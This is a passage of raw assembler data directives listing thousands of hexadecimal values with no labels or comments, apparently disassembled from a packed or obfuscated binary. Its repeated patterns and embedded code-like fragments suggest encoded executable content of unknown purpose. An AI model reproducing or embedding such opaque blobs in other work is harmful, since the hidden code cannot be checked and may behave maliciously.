dd 8F4AA8DFh, 0D66F7ADh, 9422F7BCh, 0E887C3E2h, 33A102B1h
dd 0B947DEE2h, 4C7Ah, 0F8C01100h, 0B1429725h, 0C35A6474h
dd 723CA140h, 0CA79189Bh, 0F1BB0C61h, 6EFC9B1Eh, 0AF377A27h
dd 43AC5BFBh, 0D457CEF2h, 0ED24A735h, 0F7AD3705h, 63479098h
dd 257AFDACh, 0B402851Ah, 0A5CE302h, 620D4968h, 0E3A10246h
dd 0F1h, 881A48Eh, 9A0F3085h, 2AE3C217h, 0F230A0C1h, 0FE4A4078h
dd 8D98ED70h, 0D3589BFCh, 36F18E4Fh, 588BDAE5h, 0F18E4F96h
dd 4DDB8A39h, 0EB4CDDE8h, 723CBB8Ah, 0CA79189Bh, 6826FF47h
dd 4291CCFFh, 7726FBAFh, 1FE8BD0Eh, 49DC3091h, 0BB83D43Dh
dd 59C261E4h, 0AD3CC826h, 0CA5807F7h, 0CCBD2E61h, 0BFE001CCh
dd 0FD12D3DCh, 0FE29B7A0h, 0AA95E64Fh, 0DE2F94F5h, 0F4AB91DEh
dd 0A023D271h, 2D0E7301h, 7A29FCC2h, 0FD1726FFh, 62B134E2h
dd 1CEh, 0DF40D1D8h, 84E5B87Eh, 25861923h, 0C425F8C4h
dd 62C35863h, 0DDDE5134h, 0A286E748h, 2298AEBh, 0FACB2C8Dh
dd 0F74D031h, 0B2C212DCh, 0D91EC5F7h, 0B2F7FA0h, 1A99C463h
dd 5BFA7D10h, 0F6B91EACh, 3A5BC021h, 643D8881h, 0DFA59EE2h
dd 350C7BE9h, 0B293F886h, 783F90F9h, 4FB415A3h, 0D66439FEh
dd 184BA081h, 0F18E18D6h, 0C1A86DEFh, 0B6E15297h, 4217907h
dd 30D8E004h, 8C3BC57Dh, 0C3B1F023h, 2186FBAFh, 6605881Fh
dd 0F5FD34B7h, 0BBF7ADAAh, 0B1BEFA19h, 94A102B8h, 0B9h
dd 184BA03Fh, 0F18E18D6h, 57BC4AF9h, 3354BD4Eh, 47DD5851h
dd 30B34124h, 0B83BD0DBh, 8E7DAA81h, 899CEDF1h, 380D7200h
dd 98AD0E6Fh, 0E1448C0Fh, 54093CA5h, 79FBAF71h, 101569CAh
dd 2DEC0D76h, 6FC405C8h, 6A9D0694h, 1CCBADCh, 52A30CBBh
dd 36242E69h, 95919188h, 0CCCD8C62h, 0ED9C4BF1h, 0B37CDD3Eh
dd 98063DEh, 1FA2E2FDh, 0C1D0h, 2DE6CB00h, 0D2456BCCh
dd 772E1071h, 1689B516h, 0B66B54B5h, 0D1462755h, 77D839EEh
dd 1A7BDCB3h, 0BE1F8015h, 69C526E7h, 0C31DD104h, 0BB2F7B2h
dd 69BA4C6h, 0D915489Dh, 0FEF18E18h, 0FF60C14Fh, 188FAF26h
dd 0E647F695h, 881A495h, 0DE153085h, 359645D8h, 0D738F1D4h
dd 5BDEAF76h, 0DD6E1224h, 304F01D6h, 0F859D2F3h, 94FD8E97h
dd 59CCEE3Fh, 5F0DDC12h, 0BE4CFB12h, 4FC6E63Bh, 0DEB177CCh
dd 0B720065Bh, 0FD9C1FF4h, 0CB7DCB4Eh, 5EC725ACh, 662FAC3Dh
dd 5FC882EEh, 5EC9C22Ch, 0D8661512h, 0FBCA0726h, 5570D132h
dd 130251D4h, 0AD000000h, 0EEC37FA0h, 32B9FC07h, 97CCE4EAh
dd 0E9CFEE0h, 9DA40E63h, 192C8104h, 0F3B80D90h, 62469B1Eh
dd 0E8D328ABh, 505BB033h, 0DBE338BBh, 426CC144h, 0CDF348CBh
dd 578ED75Ah, 0C781E789h, 4, 4EF81h, 3C870000h, 2C895C24h
dd 337B6824h, 14890000h, 0E0895024h, 405h, 42D00h, 4870000h
dd 2C895C24h, 63BF5724h, 0F7294F6Dh, 91C781DFh, 8159AD40h
dd 891E76CFh, 0B9CF8178h, 81075057h, 46B7F5C7h, 8BFA8986h
dd 0C481243Ch, 4, 242C8B54h, 5004C483h, 8B8h, 45280500h
dd 0E8011EE4h, 0E445282Dh, 5810891Eh, 53242C8Bh, 0C381E389h
dd 4, 8704C383h, 0FF5C241Ch, 835A2434h, 76E904C4h, 7FFFB9Ch
dd 0DC3AA07Ah, 0ACBFB853h, 0C5030624h, 1B4CE0FFh, 0E67B7485h
dd 0CB010692h, 0FF634B2Ah, 1D9F5F2Ch, 16A02DC9h, 0B0A943C7h
dd 0FF6B7EA2h, 900A1673h, 0F0E73E70h, 0BB356326h, 0BB032F1Fh
dd 6C0E244Dh, 8EB205Ch, 4B5A86B0h, 77E7339Ch, 0D3CE9h
dd 0AF2F6800h, 0CFE90624h, 68FFFACFh, 624B00Ah, 0FACFC5E9h
dd 0B14668FFh, 0BBE90624h, 68FFFACFh, 624B264h, 0FACFB1E9h
dd 0B3CB68FFh, 0A7E90624h, 68FFFACFh, 624B683h, 0FACF9DE9h
dd 0B85168FFh, 93E90624h, 68FFFACFh, 624B951h, 0FACF89E9h
dd 0A1604CFFh, 0C03F662Ah, 0DC258549h, 0F708A165h, 17EABC80h
dd 939A54A0h, 0B377EE13h, 0D4980F00h, 0F2B62DD4h, 0AD34AB5h
dd 0F50DE591h, 68A019AEh, 1B6245F5h, 4A699D77h, 0F3A09FC5h
dd 22AB24C8h, 0D2D69E76h, 597D311Fh, 6B9413C7h, 0CA3167F4h
dd 66689091h, 3CFB4E72h, 1F34E059h, 0AC15F082h, 0A448C7ECh
dd 809E7212h, 850425F2h, 9997E259h, 39360975h, 0AD000000h
dd 1F43BCEDh, 95A2BCh, 8136DB87h, 2FE315F0h, 0EB97209Dh
dd 25F2C213h, 40BFE6A6h, 0B26206AEh, 0D1790BF6h, 0C13D11ADh
dd 24A325F2h, 5C3881BAh, 0C1D50974h, 62000000h, 9ECBC7Ch
dd 98BC60A1h, 0AE40BFE8h, 0C9367131h, 44B1F5A5h, 8D0A9C63h
dd 0D3A209E1h, 44E89C1Fh, 47EB1694h, 59A601B5h, 6B9413C7h
dd 0A71F44F4h, 0CC8C1FD3h, 0F1D9A3DCh, 97910555h, 0FAAD61F3h
dd 27CB7305h, 0AB545303h, 0C8377034h, 3558DF36h, 0D89710BCh
dd 2CEC15F0h, 0D62B7B7Ah, 21D50E32h, 0A1F443AAh, 0BF426828h
dd 0E861852Dh, 1448043Ch, 6AE3971Ch, 8E05FCAAh, 0BE25DCCAh
dd 0FA662430h, 16FE1DB3h, 1600000Bh, 30F46B96h, 4F138A75h
dd 6B2FA65Bh, 864AC13Eh, 1E6AE120h, 0BC456164h, 0DD328145h
dd 0FB06A266h, 18E7C084h, 0B35FD8A1h, 19AEF2DBh, 45C3366Eh
dd 6529A061h, 0CF46BD42h, 870095A2h, 0F08136DBh, 0B62FE315h
dd 0BE50AFF6h, 0E360F216h, 597D8223h, 0F2C1E9BDh, 0ED04F25h
dd 745C6C2Dh, 0B18109h, 450E0000h, 64249D62h, 852DBF42h
dd 8B1BCF61h, 1F44E476h, 551FD3A7h, 0A936AD52h, 8033C0E9h
dd 0B159EB8Fh, 60CADD8Dh, 0D3A6DCB4h, 17BB6F1Fh, 84092E85h
dd 0CC5E4B0Bh, 0D3A64820h, 8327DB1Fh, 0AC2549F1h, 0F0B78700h
dd 8C1CDC15h, 0BA66E375h, 25F2B6E2h, 0F91DC175h, 2E950CC0h
dd 5F0B8409h, 1C1423FCh, 0BC7CF5A9h, 0DCA017EAh, 48D037CAh
dd 0BBFA6600h, 0A3B0625h, 713B0000h, 50551990h, 367438AFh
dd 199054CBh, 0FBAB6FE6h, 89438F06h, 68DF2284h, 89000FA4h
dd 0A71EE3C5h, 0C43BC4E3h, 0FED682FBh, 9119AEF1h, 6145E659h
dd 426529A0h, 45CF46BDh, 570B9D62h, 0D138AF50h, 0FEAA2366h
dd 15F0B135h, 0C464F6AAh, 25F2B0EFh, 3506D857h, 9744964h
dd 6A289h, 95A21600h, 0A1A77F2Bh, 2D4D1FD3h, 54072D39h
dd 0B4580C45h, 2E7A8F3Bh, 530715F0h, 0FBB44C1h, 25F26D37h
dd 76AF6053h, 2E029EC2h, 9425F26Eh, 2772C915h, 0C609758Ch
dd 667h, 95A253h, 0B26EDB87h, 2BEB15F0h, 0CE33757Eh, 77F4862Ah
dd 0E90DF2B7h, 0F2B1794Dh, 2C62DF25h, 56DBB51Fh, 0B7325623h
dd 32451427h, 34680974h, 0F5000006h, 12EDBC7Ch, 94B84762h
dd 0BD46E08Ah, 0D3A13911h, 0AF50551Fh, 4B9EC276h, 8430A9ECh
dd 15F081CBh, 7919AC60h, 99E5AB7Ch, 5C4938FFh, 0DA86FFA3h
dd 0A824CCEDh, 0A724B66Ah, 0AD3FC0E7h, 0A98EE105h, 1EBF6BE4h
dd 0C3AE4406h, 0DDB25D8Dh, 386F9F79h, 67F23C7h, 781C6146h
dd 0CA96F8BFh, 8549C064h, 0FC76DD22h, 576854CCh, 8FFA2C1h
dd 0ADFF0000h, 8C19DD54h, 7238FC73h, 5554188Fh, 376F33AAh
dd 4D0753CAh, 2CA35E48h, 4DC44B68h, 6BE21F89h, 88FF00A7h
dd 0C29A46BFh, 5519AEF0h, 6245AA1Dh, 4164249Dh, 0B1089ABEh
dd 0DE8A0386h, 15F610AAh, 5A0A8135h, 25F84F96h, 0F228A1D6h
dd 4C5A8168h, 557B23B5h, 1ECEE9CEh, 0A151758Ch, 0A0782406h
dd 3325F7F0h, 0D764DB7Fh, 0F0CAA24Eh, 9D5D25F7h, 0A151F50Ah
dd 0BF67F906h, 9CED489Bh, 0F0977723h, 863A25F7h, 986740F4h
dd 0F08D7121h, 38F825F7h, 5A02947Bh, 0DF228636h, 0FE01A666h
dd 89F63DAh, 0F1C565F7h, 525F7A0h, 18CC5EA3h, 59DD6F92h
dd 0F22D00DEh, 1A67B63h, 0E4C387FEh, 15E9891Bh, 4B25F7F1h
dd 659C0ECEh, 8C072BD3h, 0A5D8CF52h, 0C5EB164Fh, 0E85F030Ah
dd 103B9h, 62454200h, 4564249Dh, 0F4FE28BAh, 3B907012h
dd 9F06B65Ah, 0F6AA3C60h, 9C6543B2h, 2CBE620Ah, 0D327B48Ch
dd 28D7D01Fh, 95F83F96h, 963C701Ch, 13C715F5h, 2F3F8ACh
dd 0CEED83F0h, 7E1h, 0BF36CBE1h, 0DE55AAFBh, 0FA71901Ah
dd 158C7336h, 35AC5551h, 80262FE9h, 6D460A81h, 41672BA2h
dd 228549C0h, 249D66DDh, 0AEEFA078h, 88FB3319h, 0B9D6245h
dd 3BB24F57h, 59D03177h, 76ED1295h, 940DF4B2h, 62AD5D4h
dd 99E6C074h, 5F4B1ECFh, 27B95D1Fh, 3DCF4073h, 51E31C89h
dd 0A18C52CDh, 2038A621h, 4313EB97h, 69B91FD3h, 2F0BF1B2h
dd 0C0E498D1h, 0F46B9610h, 94520F4Ah, 119EF0h, 8C150000h
dd 0D2C008E0h, 0C3E79B1Fh, 77DA60h, 45630000h, 6B0B9D62h
dd 1FD3B197h, 0C8904ECDh, 9B101F92h, 82CAA0Ch, 39B04F58h
dd 55CE3375h, 5EF01195h, 600092B6h, 1FD4178Bh, 72AF2FAEh
dd 0DD54CB36h, 259E6345h, 98BC4565h, 9F565206h, 96E7508h
dd 0CC4F0EECh, 6EF28428h, 7236EBF3h, 8E68188Fh, 0BE1FD39Bh
dd 94BE5028h, 0FED07DF0h, 7C0AFFFFh, 0D6882246h, 27A77093h
dd 4C2F556Ah, 4D688C8Ch, 39Fh, 9D6245D6h, 2853EE24h, 0C211BA17h
dd 466A9512h, 43014B4h, 4CD71FD3h, 0E7188F92h, 6139E56Eh
dd 7D1FD304h, 0E69AD32Ch, 20874BC2h, 10D04DDFh, 2ED66897h
dd 48A6E0Ah, 0E9BE1FD3h, 68149D16h, 1FD30490h, 0B94B6F23h
dd 47C0D562h, 0F573679Bh, 0D73EF215h, 0F002D0A1h, 7AEF0EA4h
dd 7A000006h, 9458CF32h, 0B377EE11h, 0CF930AF7h, 0EAAE25DAh
dd 82CE45BCh, 20E1C5C8h, 41CEE5A9h, 5FA206CAh, 7C8324E8h
dd 17C33C05h, 19AEEE3Fh, 45279AD2h, 570B9D62h, 773BB24Fh
dd 9458CF30h, 0A95DEF12h, 28B04FDh, 0D3A17E56h, 395D111Fh
dd 36A823A7h, 0AFC9EC22h, 93F86989h, 1AE7BF6Fh, 3CC5E1A1h
dd 0A2F7A118h, 4BF0947Eh, 2D3h, 0E78B8CC2h, 0CA3008B4h
dd 0FC31FD2h, 9A8C62E9h, 93A21376h, 73FC85FEh, 0D3A1EFC7h
dd 32CE821Fh, 1FD3A15Ah, 831539EDh, 9F624606h, 0A541650Dh
dd 1E20A0A7h, 2038A625h, 0A113EB97h, 0F2A61EC2h, 0B96138CEh
dd 0ECACF185h, 1E2147BAh, 85049C74h, 7C690226h, 0F6000002h
dd 85FE93A2h, 8B1DE2C5h, 9A46BFE3h, 1FD3A1C2h, 0AB545515h
dd 144D7119h, 0C851CE60h, 0D3A1441Ch, 0FF23D71Fh, 20A06563h
dd 7A64E31Eh, 778A1EDEh, 83193DE5h, 0F185B936h, 23ED7h
dd 93A26400h, 0FDD985FEh, 981FD3A1h, 0B4B252E4h, 0E01E20A0h
dd 86792CC7h, 179C50E2h, 55D466F8h, 0C746A489h, 0B9552417h
dd 1078F185h, 5000002h, 6F47F37Ch, 21FD3A1h, 5ED72A4Eh
dd 2606B22Bh, 891FD3A1h, 0CA354C53h, 274B674Dh, 38C13AEEh
dd 0D35AB48Ch, 835B071Fh, 161FD35Ah, 0FC752962h, 0D35A7850h
dd 33570B1Fh, 4F6424A1h, 2009CC0h, 2E1E205Ah, 3FF3857Ch
dd 0FB059768h, 5DBB726Ch, 0D3AB57E0h, 791EC259h, 0F952A808h
dd 88BEF767h, 13747204h, 193DE1A1h, 0BEFB409Eh, 4FF18521h
dd 19Bh, 1B6245DCh, 4FF54B79h, 0D728810Fh, 55F99D45h, 0CFA753DCh
dd 621FD2D3h, 7BF88AAEh, 0D36E46F2h, 78011FD2h
dd 0D2D3F4CCh, 2FD3871Fh, 0B34C5B0Bh, 6B79AF3Ch, 0FC27EFACh
dd 92E81A5h, 489C2C02h, 56FA9380h, 161C31DDh, 0E06915F0h
dd 0F2145C34h, 173BEF25h, 0F8982ADEh, 25F21524h, 68D30B8Ah
dd 9753511h, 37BCh, 0F37C4900h, 0D3A16F47h, 2A4E021Fh
dd 0B42D60D7h, 0F0806308h, 58501015h, 0C05028D4h, 2FE325F2h
dd 0AD51F98Bh, 0C0A77B1Bh, 8E0D25F2h, 5DAEEB50h, 0BC3F0974h
dd 0CC000000h, 17EABC7Ch, 9B9DD85h, 1BCF619Eh, 74FD768Bh
dd 7C0EF1B4h, 0A16038D4h, 3FF31FD3h, 29699119h, 2C50282Ch
dd 3EC1E69Ah, 366F2FACh, 6B8F37C9h, 0BA91ECBBh, 53A9409Ah
dd 80B62FD3h, 9DB10BC9h, 50D75D87h, 76416653h, 8737AED2h
dd 1FD36A62h, 79F00F98h, 0F7702512h, 0F4D6664Bh, 0E65F1315h
dd 0A818026h, 3AA16046h, 0F007B446h, 0C24867FDh, 0C2000003h
dd 0DCA017EAh, 0FBBF36C9h, 17DB52AFh, 32F66D92h, 0CA168D74h
dd 68990D10h, 89862DF1h, 0A75A4E12h, 0C43B6C30h, 5F0B844Dh
dd 19AEEB87h, 7C6FE21Ah, 0EF13EEBCh, 239A673Fh, 3EB7485Fh
dd 0A13109B5h, 10C41FD3h, 45FE75ECh, 570B9D62h, 7636AF50h
dd 1CE3C231h, 0AC3EE28Ah, 0AE52ADF8h, 6F7A0B88h, 6B8FD349h
dd 0BE6F44F4h, 55E21FD2h, 83EC740h, 0DE6DEF0Dh, 152E9C52h
dd 342FB6CAh, 0EFD06C90h, 9415EFC7h, 45F269E0h, 16149162h
dd 0D3A1926Ah, 0CD71251Fh, 5DEF933Bh, 8A01FEA9h, 561CC7FDh
dd 7EC660DAh, 54FAC458h, 284CA54Eh, 0B62F62D5h, 0C53A6D2Dh
dd 0C3F005A1h, 0C97D15EFh, 431BC750h, 9625F1C2h, 0F1C312EAh
dd 0B8F1A525h, 0D14EE004h, 45699611h, 0F1C2D5A9h, 22BC3B25h
dd 0D02F7636h, 674316ACh, 548A0975h, 4752B0C6h, 983155EFh
dd 3Dh, 7E95A225h, 0A24EF12Ah, 0B84280Dh, 0F053BA5Fh, 3AB36715h
dd 0B1D52C7Ah, 93AB7F1Fh, 0E8BF25F2h, 0D8D18517h, 96119527h
dd 34CDD948h, 0F856FAA2h, 83D66579h, 2A0975B2h, 0FAh, 9D6245B7h
dd 0B24F570Bh, 0C43B6C20h, 1297E32h, 0D3A17D55h, 0B85C101Fh
dd 0A76C9141h, 50D91FD3h, 0D3A6CCA4h, 0AF7E721Fh, 0F825FAFAh
dd 0B28A36BFh, 451FD3A8h, 19C9ED91h, 6DFA718Eh, 8F78CB37h
dd 57939B17h, 1908E3B2h, 30E004A8h, 9FF68877h, 0F37CF598h
dd 61E481BDh, 5BD45F28h, 0D482D7AFh, 92B66A1Fh, 0F197CDF6h
dd 178E4215h, 3A8087B0h, 9F533E35h, 0D07CF599h, 1C14B2F5h
dd 0A565DE92h, 0A77F2B01h, 3A2C14F2h, 0A76BE286h, 4FB2F6FFh
dd 900244ABh, 67FDFA67h, 1F448h, 49B8F400h, 68970ED2h
dd 847D2DF1h, 9F60490Dh, 0BF426428h, 3B42FC48h, 5B1F966Bh
dd 7C40B758h, 9A5ED52Ch, 0B27BF20Dh, 0E9B58D39h, 104819AEh
dd 0CB61459Dh, 0D3A1471Fh, 16EE9A1Fh, 0A91FD3A2h, 6408BCF5h
dd 817E29EDh, 0A46B4808h, 0EDBA6A12h, 0EA77EE12h, 0A1DDB561h
dd 0BC701FD3h, 95A23598h, 0DFC78700h, 0C4E89022h, 80FA9F4Bh
dd 0F3A715F0h, 0C0EDC161h, 0D45325F2h, 5D68310Ah, 0BE850974h
dd 12000000h, 249D6245h, 98BC4364h, 0A1545206h, 0C153F708h
dd 0D3A6FC21h, 8A75321Fh, 0A7584F13h, 0C6396E2Eh, 0DD6F9216h
dd 287F1135h, 55017A0Fh, 15F0BA2Ch, 0DCA32B61h, 59EB1495h
dd 67E48BB1h, 535BBEE4h, 33B4351Fh, 0AB22D60Fh, 259EF344h
dd 8F67139Ch, 3525F318h, 0DA974ADBh, 0E9A9E27Ah, 9B143BCh
dd 65A54165h, 81C14CDh, 8B1BDB54h, 6B3BFF76h, 0AA672F96h
dd 48DEFA67h, 0F429h, 49B8F400h, 68970ED2h, 847D2DF1h
dd 9F60490Dh, 0BF426428h, 3B42FC48h, 5B1F966Bh, 7C40B758h
dd 9A5ED52Ch, 0B27BF20Dh, 0E8B58D39h, 104819AEh, 0A061459Dh
dd 0BD426529h, 0DF228444h, 0A81A54Dh, 47F37C93h, 1FD3A16Fh
dd 7A2A4E02h, 8C40D22Dh, 0AFD0D81Bh, 0FD05FF41h, 0C95BFF65h
dd 79067D21h, 0D4962643h, 274B5449h, 0B52E63D4h, 0F5ABD909h
dd 0FCE61C15h, 0EA777819h, 2DD12E79h, 0B0D42D7Dh, 7D31C377h
dd 0D15ED52Ah, 0E1208848h, 0F7ED6D45h, 284C0025h, 3ED02F78h
dd 762C709Eh, 479726F3h, 0AD625111h, 3559B6FDh, 66DD2285h
dd 68FA05A2h, 8935F5B4h, 73762BB1h, 9628D9CDh, 5D01B5EEh
dd 0D7AF5BE4h, 0F373762Bh, 13BB4DB2h, 3D7626DAh, 8A1CAED2h
dd 594ED30Bh, 3C6B2FA6h, 1E8A4AC3h, 8A2ED3D7h, 7897F864h
dd 0AED2AF08h, 3FD1Ch, 0A7860000h, 9A674540h, 0AC535408h
dd 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh
dd 20E1C97Dh, 34CBDA8Eh, 895386A2h, 4B951E3h, 1000000h
dd 0EB8359CBh, 241C8704h, 18AC685Ch, 1C890000h, 5A806824h
dd 14890000h, 68B85024h, 576F236h, 8F327791h, 48BC389h
dd 4C48124h, 83000000h, 248904ECh, 24048324h, 0EC815A04h
dd 4, 8F241C89h, 148B0842h, 0E1895124h, 4C181h, 0C1830000h
dd 240C8704h, 241C8B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h
dd 0FFFAC29Eh, 0BA6AB84Fh, 0C5030624h, 9747E0FFh, 52FC2E72h
dd 0FA26852h, 97481807h, 0A1B02ACAh, 571E1020h, 4D76C02h
dd 91CF7AA7h, 0A5E3275Ah, 8183258Dh, 2FCD1EE4h, 22A20026h
dd 0F02F36E3h, 640259AFh, 78877D92h, 0EE8005A1h, 0C08B5F94h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 89C35646h
dd 26395E75h, 840F9053h, 2, 0BD834FB3h, 61F06C1h, 83097500h
dd 1F1F51BDh, 19740006h, 0C08B5350h, 3FCB8h, 65858900h
dd 8D061F0Fh, 21AFA49Dh, 5BD3FF06h, 51BD8358h, 61F1Fh
dd 53501774h, 3FCB8h, 65858900h, 8D061F0Fh, 21AC939Dh
dd 5BD3FF06h, 0D8BF0F58h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 62C35545h, 722432FFh, 0C803AFF2h, 6AC08BBAh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 5644C351h, 0F8DFFF65h, 0EF5BD83h, 0F01061Fh
dd 4084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 17167FBDh, 61BD83A1h, 61F2Ah, 13850Fh
dd 0BF0F0000h, 0F1BD83D3h, 61F20h, 87840Fh, 0DB800000h
dd 3E3E997h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0AA32FC3h, 0E8A7160Fh, 0F84401Ah
dd 48Ah, 61605100h, 38A0BB5Bh, 5FAFh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0BA6B78C3h, 4186210Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0A9C35646h, 0A19E14ADh, 0C88AEEBAh, 4A465E7Fh
dd 0CAF5CD0Ch, 0C5F3F73Ch, 16781CB1h, 0C5F33159h, 144445B1h
dd 0BE4A25E1h, 0E28D00CDh, 0C5E73AE2h, 3F0FE9B1h, 40DF4437h
dd 985CD608h, 0AF47EE7Ah, 0B8224404h, 48A93B08h, 0E7B80F34h
dd 97F3B9B7h, 0C5F3EA59h, 6A9D4B1h, 0E1A7F3EBh, 0E1B7BCB5h
dd 0C5F386B5h, 6A10DB1h, 7145BF32h, 3200531Eh, 0C599394Eh
dd 0C5F01CE0h, 9CD37AB1h, 897A6472h, 81729A95h, 0C5EE4B95h
dd 94B2A7B1h, 0BCBAD672h, 0AC6E04F1h, 2CD6F6E4h, 0C5F37ABAh
dd 221F25D8h, 9241BC46h, 2C1D0EB4h, 0C5F3A385h, 2DA5D3DBh
dd 0C5F3E9B2h, 9B30AA91h, 0C1D70E38h, 0C1D77930h, 0C5F39EADh
dd 0D43019F7h, 8E94F065h, 0BC599B5Dh, 0E4488FE1h, 4495AFB8h
dd 90731572h, 0C5F33D59h
dd 2872C3B1h, 0C3D7F224h, 2DA3A7DBh, 0C5F3D3B2h, 9D30B191h
dd 0C1D7B038h, 0C1D73E30h, 0C5F33DA9h, 9C30CEF1h, 5AD6C68Fh
dd 5E487B3Bh, 4EB00706h, 0C579E671h, 55F3F4B1h, 0C5D4F4BEh
dd 0CB1B3DB1h, 0BBF39EB1h, 6D181660h, 679F48F7h, 0ADD9C5E9h
dd 0C5FE01C5h, 190F4B1h, 3C049EF2h, 0DC36B0D6h, 9F5D61DFh
dd 34481FEBh, 55FCBA62h, 2DA5D3DBh, 0C5F3E9B2h, 9B30AA91h
dd 0C1D70E38h, 0C1D77930h, 0C5F39EA6h, 0D53019F7h, 0A3246DA4h
dd 0C4FC003Ah, 2C0DCDFDh, 0C5F3F4B7h, 0BCC52E9Dh, 4EABD996h
dd 0F72F866h, 0C9F6B6E0h, 45F3A7B3h, 0D61A556Eh, 0A0F3E9B1h
dd 503BE0F6h, 3F73E532h, 0C2D2B6F3h, 1260AA3Ah, 0CD78B9DBh
dd 0C5F12ABEh, 5E44D3B1h, 0F55B53D7h, 39BB7FD7h, 1CC6C0D7h
dd 0C5F33C09h, 0AC1D1EB1h, 0C5F5A620h, 2A7EA7B1h, 59C3CB9Ch
dd 542D62E1h, 2DA0F4DBh, 0C5F37AB2h, 9E306691h, 0C1D7C238h
dd 0C1D70B30h, 0C5F3A7A4h, 923080F2h, 0A3F25BA7h, 0C5992D3Dh
dd 0C5F092E1h, 9DD33DB1h, 817AC672h, 81724B95h, 0C5EFA395h
dd 95B3D3B1h, 7804E172h, 237735D9h, 0CD1A343Ch, 5BF33DB1h
dd 45427C07h, 337C9E6Dh, 40FCA370h, 0C5F3D32Eh, 0FD3A68D1h
dd 0CAE91667h, 0A392B806h, 0A5AAED3Ah, 7BAA66E6h, 0BC7CCF16h
dd 0ADCA27D0h, 0C50556BEh, 0A048E9B1h, 4EFBC4EEh, 0CB1A7BC8h
dd 92F33DB1h, 0B1491C43h, 0EA884D6Ah, 0BAC396F4h, 0C50C5292h
dd 0CA73E9B1h, 0C5F33B33h, 94F310B1h, 0C5F33E59h, 6AABEB1h
dd 0E1BFC6E8h, 0E1B726B5h, 0C5F3CAB5h, 6A2A8B1h, 0C6EA241Ch
dd 1A7856A3h, 7985B876h, 0C5F29895h, 3C934FB1h, 6E3A1E0Bh
dd 7B1AB29Dh, 0CAF3E9B1h, 0C5F3F430h, 5F31FBB1h, 2CE3EC2Fh
dd 0C5F39E35h, 0C5F6CCBEh, 4495A7B1h, 9C537572h, 2DA1E9DBh
dd 0C5F3F4B2h, 9F302091h, 0C1D76938h, 0C1D7DA30h, 0C5F34FACh
dd 0B230F5F3h, 1FC436C6h, 9499D16Ah, 0C22A4E52h, 46956F52h
dd 0CA0C36C8h, 0C5F3DD35h, 95F325B1h, 0C5F3A459h, 6ABF3B1h
dd 0E1B760E9h, 0E1B775B5h, 0C5F360B5h, 6A37DB1h, 2D373484h
dd 2C9B87A0h, 0C5F3A7B6h, 4BA99A35h, 7EF15A34h, 0C53EA811h
dd 7985FF76h, 0C5F23B95h, 36729EB1h, 0D3CA3DABh, 90F3CDF9h
dd 0C5F3D059h, 6AEC9B1h, 0E19F7DECh, 0E1B7FBB5h, 0C5F326B5h
dd 6A6DBB1h, 0BCE2544Eh, 0CB81CF89h, 0BEEF610Ah, 0AE2150E5h
dd 407EBAF2h, 0C3D7BB52h, 5B2803Ch, 3DC89895h, 0CAC348C5h
dd 2EB46E60h, 0BC345344h, 0C674E6D1h, 0CAF3F4B1h, 4692B00Eh
dd 0DAFDC80Ch, 41FC9FB7h, 0C5F34F39h, 0C5E14FE7h, 68DAD3B1h
dd 0C9BD8125h, 5C070BA5h, 0BCA32C78h, 225F0C98h, 9EA84E3Ah
dd 0EF92F232h, 0CAF3A1AEh, 0C5F38C34h, 90F383B1h, 0C5F3F759h
dd 6AE5AB1h, 0E19FB4ECh, 0E1B71FB5h, 0C5F352B5h, 6A6E2B1h
dd 73CDAF15h, 1880D473h, 0BB4913C9h, 46B3771Fh, 0DAD3CC0Ch
dd 41FC9EB7h, 0C5F34F8Eh, 2DA1A7DBh, 0C5F3D3B2h, 9F30B391h
dd 0C1D7A038h, 0C1D73E30h, 0C5F33DACh, 0F530CCF3h, 0EA8114B2h
dd 1ED4D163h, 35792686h, 0C5F34258h, 0C5FE1DB1h, 0FC3E7AB1h
dd 0A25087DAh, 0AE58BFB6h, 469878CDh, 0DAFD520Ch, 40FCD2B7h
dd 0C5F3E9FDh, 0C5E374BEh, 0C21B7AB1h, 3FF33DB1h, 0E32F61DDh
dd 33738269h, 0A3AEFC9Ah, 6819B0Ah, 2CC51A31h, 0C5F3F4D9h
dd 2DA07ADBh, 0C5F33DB2h, 9E30C591h, 0C1D71338h, 0C1D7E330h
dd 0C5F3D3ACh, 0B630BAF2h, 273F8D3Ch, 0ADB4132Eh, 124C325Ah
dd 0C5E376ECh, 0D3044FB1h, 90723EEh, 64936BBEh, 9AEA5DA9h
dd 267200D0h, 8EE68EE7h, 0C599F2EAh, 0C5F076E7h, 9BD34FB1h
dd 0B17AF972h, 8172D795h, 0C5E9ED95h, 93B5F4B1h, 39846272h
dd 340AF443h, 7932233Ch, 487E4995h, 0C3D76601h, 0FFAFCE09h
dd 1076DACAh, 0EEF5EBA1h, 0AE21507Eh, 407EBAF2h, 0C3D7BB52h
dd 5B2803Ch, 3DC89895h, 0CAC348C5h, 2EB46E60h, 0F305E983h
dd 76BD83A4h, 624BCh, 8D8D0D74h, 61F4DB0h, 1B8h, 40E1FF00h
dd 14E8h, 2E8BB100h, 4623C141h, 9BB23EE0h, 0D4142C8h, 5AC2D53Eh
dd 5BF48AC9h, 83A3C380h, 6A2DE8h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 880FDBC3h, 7, 0DA816650h
dd 815A0E84h, 0C0AF82F3h, 0AE932h, 0EA700000h, 0A539AFA8h
dd 42E241B1h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0BB66AAC3h, 0BD83F97Dh, 61F06C1h
dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h, 3FCB8h
dd 95858900h, 8D061F13h, 21B00B9Dh, 5BD3FF06h, 51BD8358h
dd 61F1Fh, 53501774h, 3FCB8h, 95858900h, 8D061F13h, 21ACAC9Dh
